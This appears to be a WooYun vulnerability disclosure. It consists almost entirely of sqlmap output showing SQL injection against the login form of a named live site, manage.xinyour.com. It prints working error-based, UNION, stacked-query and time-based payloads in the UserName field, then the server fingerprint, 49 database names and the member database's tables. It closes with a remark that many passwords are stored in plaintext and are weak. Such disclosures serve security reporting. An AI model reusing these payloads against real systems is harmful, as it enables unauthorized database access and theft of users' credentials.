WooYun.org

漏洞地址:http://manage.xinyour.com/
sqlmap identified the following injection points with a total of 57 HTTP(s) requests:
---
Place: POST
Parameter: UserName
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Url=&UserName=admin') AND 8941=CONVERT(INT,(SELECT CHAR(113)+CHAR(108)+CHAR(97)+CHAR(102)+CHAR(113)+(SELECT (CASE WHEN (8941=8941) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(111)+CHAR(113)+CHAR(111)+CHAR(113))) AND ('ogDB'='ogDB&PassWord=123456
Type: UNION query
Title: Generic UNION query (NULL) - 19 columns
Payload: Url=&UserName=admin') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(108)+CHAR(97)+CHAR(102)+CHAR(113)+CHAR(68)+CHAR(84)+CHAR(106)+CHAR(80)+CHAR(67)+CHAR(65)+CHAR(70)+CHAR(83)+CHAR(104)+CHAR(118)+CHAR(113)+CHAR(111)+CHAR(113)+CHAR(111)+CHAR(113),NULL,NULL,NULL,NULL-- &PassWord=123456
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Url=&UserName=admin'); WAITFOR DELAY '0:0:5'--&PassWord=123456
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Url=&UserName=admin') WAITFOR DELAY '0:0:5'--&PassWord=123456
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
available databases [49]:
[*] _XinYour.AppStore
[*] _XinYour.Base
[*] _XinYour.ConfigCenter
[*] _XinYour.EHotel
[*] _XinYour.Flight
[*] _XinYour.kt
[*] _XinYour.SMS
[*] _XinYour.Travel
[*] _XinYour.UCenter
[*] _XinYour.WWW
[*] _XinYour.XinPay
[*] Alipay_Trans
[*] aqimdb
[*] BBS
[*] db_fdxh
[*] distribution
[*] drsWeb
[*] EBPP
[*] ecar_bbs
[*] ECarSys
[*] eche_bbs
[*] ECManageSys
[*] eHotel
[*] EPcar
[*] HongShi
[*] JobXinyour
[*] master
[*] MeiHu
[*] MemberC
[*] MenPiaoSys
[*] MenPiaoWeb
[*] model
[*] msdb
[*] newByCar
[*] News
[*] PDMWLH
[*] SceBK
[*] szlxx.com
[*] tempdb
[*] Ticket
[*] uncard
[*] UserCore
[*] weather
[*] wlhdb
[*] XinYour.TravelTest
[*] XueHuaEnroll
[*] xy_test2
[*] XySce
[*] zxySince
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: UserName
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Url=&UserName=admin') AND 8941=CONVERT(INT,(SELECT CHAR(113)+CHAR(108)+CHAR(97)+CHAR(102)+CHAR(113)+(SELECT (CASE WHEN (8941=8941) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(111)+CHAR(113)+CHAR(111)+CHAR(113))) AND ('ogDB'='ogDB&PassWord=123456
Type: UNION query
Title: Generic UNION query (NULL) - 19 columns
Payload: Url=&UserName=admin') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(108)+CHAR(97)+CHAR(102)+CHAR(113)+CHAR(68)+CHAR(84)+CHAR(106)+CHAR(80)+CHAR(67)+CHAR(65)+CHAR(70)+CHAR(83)+CHAR(104)+CHAR(118)+CHAR(113)+CHAR(111)+CHAR(113)+CHAR(111)+CHAR(113),NULL,NULL,NULL,NULL-- &PassWord=123456
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Url=&UserName=admin'); WAITFOR DELAY '0:0:5'--&PassWord=123456
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Url=&UserName=admin') WAITFOR DELAY '0:0:5'--&PassWord=123456
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
Database: MemberC
[23 tables]
+------------------+
| MemStored |
| tabAccStatu |
| tabAccount |
| tabCompany |
| tabConsume |
| tabExpenditure |
| tabFacade |
| tabNews |
| tabPackage |
| tabProducts |
| tabRecordPackage |
| tabmember |
| v_Account |
| v_Consume |
| v_Expenditure |
| v_Facade |
| v_Login |
| v_MemStored |
| v_Package |
| v_RecordPk |
| v_accStatuPdt |
| v_pdtConsume |
| v_tabmember |
+------------------+
好多密码都是明文存储加弱口令